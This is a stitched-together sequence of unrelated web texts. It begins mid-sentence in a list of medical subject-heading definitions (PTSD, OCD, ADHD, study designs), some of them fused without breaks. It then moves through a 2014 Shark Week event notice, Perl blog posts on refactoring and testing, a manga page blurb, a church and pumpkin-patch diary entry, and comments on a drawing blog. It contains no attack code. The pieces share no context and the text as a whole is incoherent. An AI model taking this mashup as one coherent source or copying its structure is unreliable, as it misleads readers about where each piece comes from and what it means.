and/or stimulus.Social Environment: The aggregate of social and cultural institutions, forms, patterns, and processes that influence the life of an individual or community.Stress Disorders, Post-Traumatic: A class of traumatic stress disorders with symptoms that last more than one month. There are various forms of post-traumatic stress disorder, depending on the time of onset and the duration of these stress symptoms. In the acute form, the duration of the symptoms is between 1 to 3 months. In the chronic form, symptoms last more than 3 months. With delayed onset, symptoms develop more than 6 months after the traumatic event.Family: A social group consisting of parents or parent substitutes and children.Prevalence: The total number of cases of a given disease in a specified population at a designated time. It is differentiated from INCIDENCE, which refers to the number of new cases in the population at a given time.Magnetic Resonance Imaging: Non-invasive method of demonstrating internal anatomy based on the principle that atomic nuclei in a strong magnetic field absorb pulses of radiofrequency energy and emit them as radiowaves which can be reconstructed into computerized images. The concept includes proton spin tomographic techniques.Cross-Sectional Studies: Studies in which the presence or absence of disease or other health-related variables are determined in each member of the study population or in a representative sample at one particular time. This contrasts with LONGITUDINAL STUDIES which are followed over a period of time.Obsessive-Compulsive Disorder: An anxiety disorder characterized by recurrent, persistent obsessions or compulsions. Obsessions are the intrusive ideas, thoughts, or images that are experienced as senseless or repugnant. Compulsions are repetitive and seemingly purposeful behavior which the individual generally recognizes as senseless and from which the individual does not derive pleasure although it may provide a release from tension.Social Behavior: Any behavior caused by or affecting another individual, usually of the same species.Attention Deficit Disorder with Hyperactivity: A behavior disorder originating in childhood in which the essential features are signs of developmentally inappropriate inattention, impulsivity, and hyperactivity. Although most individuals have symptoms of both inattention and hyperactivity-impulsivity, one or the other pattern may be predominant. The disorder is more frequent in males than females. Onset is in childhood. Symptoms often attenuate during late adolescence although a minority experience the full complement of symptoms into mid-adulthood. (From DSM-V)Age Factors: Age as a constituent element or influence contributing to the production of a result. It may be applicable to the cause or the effect of a circumstance. It is used with human or animal concepts but should be differentiated from AGING, a physiological process, and TIME FACTORS which refers only to the passage of time.Depression: Depressive states usually of moderate intensity in contrast with major depression present in neurotic and psychotic disorders.Questionnaires: Predetermined sets of questions used to collect data - clinical data, social status, occupational group, etc. The term is often applied to a self-completed survey instrument.Analysis of Variance: A statistical technique that isolates and assesses the contributions of categorical independent variables to variation in the mean of a continuous dependent variable.Treatment Outcome: Evaluation undertaken to assess the results or consequences of management and procedures used in combating disease in order to determine the efficacy, effectiveness, safety, and practicability of these interventions in individual cases or series.Disease Progression: The worsening of a disease over time. This concept is most often used for chronic and incurable diseases where the stage of the disease is an important determinant of therapy and prognosis.Autistic Disorder: A disorder beginning in childhood. It is marked by the presence of markedly abnormal or impaired development in social interaction and communication and a markedly restricted repertoire of activity and interest. Manifestations of the disorder vary greatly depending on the developmental level and chronological age of the individual. (DSM-V)Retrospective Studies: Studies used to test etiologic hypotheses in which inferences about an exposure to putative causal factors are derived from data relating to characteristics of persons under study or to events or experiences in their past. The essential feature is that some of the persons under study have the disease or outcome of interest and their characteristics are compared with those of unaffected persons.Time Factors: Elements of limited time intervals, contributing to particular results or situations.FinlandCohort Studies: Studies in which subsets of a defined population are identified. These groups may or may not be exposed to factors hypothesized to influence the probability of the occurrence of a particular disease or other outcome. Cohorts are defined populations which, as a whole, are followed in an attempt to determine distinguishing subgroup characteristics.Phenotype: The outward appearance of the individual. It is the product of interactions between genes, and between the GENOTYPE and the environment.Netherlands: Country located in EUROPE. It is bordered by the NORTH SEA, BELGIUM, and GERMANY. Constituent areas are Aruba, Curacao, Sint Maarten, formerly included in the NETHERLANDS ANTILLES.Socioeconomic Factors: Social and economic factors that characterize the individual or group within the social structure.Incidence: The number of new cases of a given disease during a given period in a specified population. It also is used for the rate at which new events occur in a defined population. It is differentiated from PREVALENCE, which refers to all cases, new or old, in the population at a given time.Acute Disease: Disease having a short and relatively severe course.Phobic Disorders: Anxiety disorders in which the essential feature is persistent and irrational fear of a specific object, activity, or situation that the individual feels compelled to avoid. The individual recognizes the fear as excessive or unreasonable.Child Development Disorders, Pervasive: Severe distortions in the development of many basic psychological functions that are not normal for any stage in development. These distortions are manifested in sustained social impairment, speech abnormalities, and peculiar motor movements.Schizophrenia and Disorders with Psychotic Features: Marked disorders of thought (delusions, hallucinations, or other thought disorder accompanied by disordered affect or behavior), and deterioration from a previous level of functioning.Prospective Studies: Observation of a population for a sufficient number of persons over a sufficient number of years to generate incidence or mortality rates subsequent to the selection of the study group.Catatonia: A neuropsychiatric disorder characterized by one or more of the following essential features: immobility, mutism, negativism (active or passive refusal to follow commands), mannerisms, stereotypies, posturing, grimacing, excitement, echolalia, echopraxia, muscular rigidity, and stupor; sometimes punctuated by sudden violent outbursts, panic, or hallucinations. This condition may be associated with psychiatric illnesses (e.g., SCHIZOPHRENIA; MOOD DISORDERS) or organic disorders (NEUROLEPTIC MALIGNANT SYNDROME; ENCEPHALITIS, etc.). (From DSM-IV, 4th ed, 1994; APA, Thesaurus of Psychological Index Terms, 1994)Somatoform Disorders: Disorders having the presence of physical symptoms that suggest a general medical condition but that are not fully explained by a another medical condition, by the direct effects of a substance, or by another mental disorder. The symptoms must cause clinically significant distress or impairment in social, occupational, or other areas of functioning. In contrast to FACTITIOUS DISORDERS and MALINGERING, the physical symptoms are not under voluntary control. (APA, DSM-V)Delirium, Dementia, Amnestic, Cognitive Disorders: Cognitive disorders including delirium, dementia, and other cognitive disorders. These may be the result of substance use, trauma, or other causes.Reproducibility of Results: The statistical reproducibility of measurements (often in a clinical context), including the testing of instrumentation or techniques to obtain reproducible results. The concept includes reproducibility of physiological measurements, which may be used to develop rules to assess probability or prognosis, or response to a stimulus; reproducibility of occurrence of a condition; and reproducibility of experimental results.Patient Compliance: Voluntary cooperation of the patient in following a prescribed regimen.
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Kids & Family
Discovery Channel - Early Premier of Shark Week - Family Movie Night
When: Sat., July 26, 7-9:30 p.m. 2014
@ Xfinity Store, 5020 N. Nevada Ave., 80918
Come Celebrate Discovery's Shark Week with an Early Premiere. Shark Tooth Necklace craft area. Tons of prizes from HBO, Showtime, Outdoor Channel and More. Free to the Community.
Price: Free
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global_01_local_1_shard_00001926_processed.jsonl/27636
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The 2015 CPAN Pull Request Challenge!
• You get a branch
• You won’t get any of your own modules
• You won’t get the same author twice
• You can request a namespace to work in
• You get the Github repo in which the module lives
• Bug fixes
• Documentation
• Tests
• New features
Net::AMQP::RabbitMQ Releases
Re-factoring ModExec Day 2
Today I got tests done, and I kinda abandoned for exception handling. I switched over to using Try::Tiny since it looks like there are known issues with in more modern frameworks like Moose. I’m going to try to avoid using ##no critic as much as I can, but I had to use it twice in my ModExec::Exception class since I wanted to include the sugar functions from Try::Tiny, and since I want to use die() in my throws to keep the object intact.
Here’s tonight’s changeset:
Next up is the base class, ModExec, itself.
Exceptions in Perl, Then and Now
Goals for this first pass are:
2. Add POD for all exception code
Before and After
Here are some GitHub links:
Re-factoring Your Old Projects
Once upon a time I maintained a very small, lightweight framework to allow for Perl interfaces to be integrated with directly from client-side JavaScript. I called this framework ModExec. This framework took into account the various security implications which I’m sure are already sounding the klaxons in your brain. I even managed to get this framework into a state where I was proud enough to present it to the Perl Special Interest Group in Lisle, IL in 2006. Man, those were the days… and that was 7 years ago. Continue reading “Re-factoring Your Old Projects”
Gist of the Day: Playing with Forks
Parallel processing is all the rage these days, and life has me at a point where I’m needing to use it. I am having to minimize dependencies in the task at hand, so I’m having to forego my usual CPAN modules and use basic system calls. It’s not terribly complicated, but just to refresh myself on the basics I went ahead and whipped up a quick demo that I thought others might find useful. This is a very simple demonstration of how to use fork() and wait(). Continue reading “Gist of the Day: Playing with Forks”
Gist of the Day: Test::MockModule for Repeatable Tests!
I like repeatable tests. The #1 benefit of repeatable tests is that they’re repeatable. This also means they’re less vulnerable to data changes (e.g. this test depends on this product record remaining unchanged) and don’t pollute your environment. There are two ways that I think you can make your tests repeatable, and I think both of them are equally valid, and each should be used in their appropriate time:
1. Creating and tearing down fixtures
2. Using some sort of mocking framework to force a repeatable result from an up-stream dependency that is not what you’re trying to test
Continue reading “Gist of the Day: Test::MockModule for Repeatable Tests!”
Not Gone, Just Moving
Hey all, I just wanted to let you know that I didn’t die… I am only going through a job change and a move, so I am currently bogged down with a number of things.
I expect to be back up and running again by next weekend at the latest. I suspect very few people care, but in the event that you do, now you know.
I’ll share all of the details when I have them 🙂
Gist of the Day: How to Test a File You Wrote!
First, I suppose I should apologize for two days of silence. I am currently going through a major life transition, so things could get a little spotty for a while. I haven’t forgotten about you. I actually have had a couple of days where my experiment for the Gist of the Day failed, and I couldn’t get something working in time to put it up.
Today, however, I do have something for you!
Today we are going to cover two topics very briefly (as usual): 1) how do you factor files you wrote into your tests, and 2) how do you write your code with testing in mind (which you should). Continue reading “Gist of the Day: How to Test a File You Wrote!”
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Gosu (The Master) Chapter 22 Page 2
You are reading Gosu (The Master) Chapter 22 Page 2 on MangaLife. To see more information about this Manhwa, please visit the Chapter List. Gosu (The Master) is a Manhwa that was published in 2015by MOON Jung-Hoo, RYU Ki-Woon. Gosu (The Master) Manhwa is Ongoing. Its scanslation status is Ongoing. Gosu (The Master) Chapter 22 was added on . Genres: Action, Adventure, Comedy, Drama, Martial Arts, Shounen
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Make Your Mark.
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With over 170,000 alumni, BC's career network is a direct connection to opportunities that will empower your success.
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Pumpkin Patch
It’s been such a good day already! I have less time to post than usual on Sunday, so I am going to abbreviate the sermons a lot today. In service, Pastor Davey spoke on Esther 5. Here we see God’s providence intervenes in Esther’s heart and she puts off requesting the King what she intended to and invites him to her banquet for a second time. Both Esther and Haman had their plan, but God does something neither had planned. The night before Haman would have Mordecai killed, the king could not sleep so he read and saw that Mordecai had acted in a way that deserved honor which he had not been given. As the story goes, Haman ends up being the one who has to treat Mordecai as a king (a man he was fixed on murdering); so much irony. We see that God is working even when circumstances are out of control, when life is unpredictable, and when sin seems unstoppable. God orchestrates everything. We also see that stability never comes from life, but from the one who gives it.
Today was switch Sunday for the students, but instead of going with my grade, I had the pleasure of hearing my good friend Corey speak. It was such a treat and he did such a good job…I was so proud of him. He talked to the middle schoolers about trials from James 1:2-12. How are we to endure trials?
1. with a joyful attitude
2. with an understanding mind
3. with a submissive will
4. with a believing heart
5. with a humble spirit
In college class Ben spoke about grace from Titus 2:11-14. It was such a challenge to me. How do believers live God’s lives? It is ONLY possible because of God’s grace.
1. grace is the foundation to our faith and Godly lives- the cross is what makes it possibly, it is the epitome of God’s display of His grace. A Godly life is not lived without salvation.
2. grace is the education- it teaches us to say no to ungodliness, reject unbelief, and live Godly lives. Grace is the only way to live soberly, righteously, and Godly. Grace teaches us to believe scripture and if we really believe what it’s saying, we will live differently.
3. grace gives us the motivation- we look forward to the hope we have; it motivates us to live Godly lives. Our lives could end at any moment, so what are we doing with our time? Really thinking about being with God causes us to actually live out our faith.
The conclusions from these 3 points about grace:
• if grace is foundational, we must remain at the foot of the cross and be reminded of Him to live Godly lives. (this is how we see ourselves clearly)
• if grace is the foundation and the means, we have no room to boast.
• if Christ is coming back, we should be eager to do good works. (you should question your faith and belief if you keep wasting time because we will act on true belief)
• if we want to live in the beauty of God’s grace, we must abandon all unbelief.
After church, Ashley and I went with dad to pick out pumpkins 🙂 Later tonight, a few friends are getting together to watch a scary movie after BASIC.
fun on the tractor
love my dad!
Ashley and Dad
in front of the corn maze
the pumpkin I picked out
Ashley and I were trying to look like the pumpkin haha
waiting for Dad to pull the car around
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global_01_local_1_shard_00001926_processed.jsonl/27654
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Sunday Sketch – Tear
Seems appropriate today.
Sketch my own. Drawing a tear:
41 thoughts on “Sunday Sketch – Tear
1. The Cason de Guernica in Madrid had the pre-sketches for Picasso’s Guernica, including all the different combinations of eye shapes, tear shapes, and color combinations … it was fascinating to see all those variations and what emotional effects they drew out. “The eye you see is not an eye because you see it: it’s an eye because it sees you.” Antonio Machado. “El ojo que ves no es ojo porque lo ves, es ojo porque te ve.”
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1. Oh wow! That must have been amazing! Mr. Cake has me reading Blake… “This life’s dim window of the soul Distorts the heavens from pole to pole, And leads you to believe a lie When you see with, not through, the eye.” Anyway, the eye is one of my favorite things to draw.
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1. It was great. I have the catalogue and look at it regularly. 58 drawings and paintings leading up to Guernica. I think they are now t the Reina Sofia in Madrid. previously they were in a single museum up by the Retiro (that’s where I saw them, long ago).
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2. That’s great. DQII is the moment when literature as we knew it takes a great step forward. After the ten year delay (1605-1615), Cervantes no longer has any doubts about the direction of his writing and he knows exactly what he wants to do. DQII offers us the perspective of fictional characters who refer to a real book (DQI) in a real world. This makes them real in a way we have never before seen. This then becomes the start of self-referring literature, a literature that mirrors reality through its own definition and establishment of self. From now on, DQ, staring with Sanson Carrasco, will keep meeting characters who have read his book and can refer directly to it.
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3. I don’t remember delving into that aspect when we read it in school. It’s possible we didn’t read the novel in it’s entirety now that I think back… Anyway, I’m enjoying it very much!
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